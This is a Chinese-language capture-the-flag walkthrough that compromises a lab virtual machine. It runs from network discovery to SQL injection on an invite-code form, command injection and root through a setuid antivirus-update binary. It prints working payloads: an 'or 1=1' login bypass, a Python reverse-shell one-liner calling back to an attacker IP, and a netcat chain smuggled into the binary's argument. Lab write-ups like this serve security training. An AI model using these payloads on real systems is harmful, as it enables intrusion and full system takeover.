信息搜集
首先ifconfig查看自己IP,

netdiscover查看同网段下主机

第三个应该是目标靶机。用nmap查看靶机开放端口:

开放22和8080,看看8080开的啥服务
WEB漏洞攻击

看到让我们输入邀请码。有输入框的第一个反应是RCE,尝试几次后无果。后续测试SQL注入,发现在输入"时报错

Flask框架,最后一段报错信息直接看到搜索逻辑源码

输入其它内容时全部回显

推断布尔盲注,order by 尝试字段数
1" order by 1-- 正常

1" order by 2-- 报错

后续尝试
1" and left(version(),1)=5 --
无果
直接万能密码开摆:
1" or 1=1 --

emmmm,进来了
还是看看能否RCE
输入111|ls

拿shell
出了,弹个shell试试
代码语言:javascript复制cat | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.112.72",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'成了

看看文件权限


有一个ROOT文件,下面有它的C文件,读一下看看

发现程序定义了一个执行参数,如果程序在执行中不包含参数,则会打印出:
This tool lets you update antivirus rulesnPlease supply command line arguments for freshclam;
如果执行程序使用了参数,那么程序就会执行freshclam,运行病毒库更新
可以试试提权:
代码语言:javascript复制./update_cloudav "666 | nc 192.168.112.72 5555|/bin/bash|nc 192.168.112.72 6666"
拿到ROOT权限


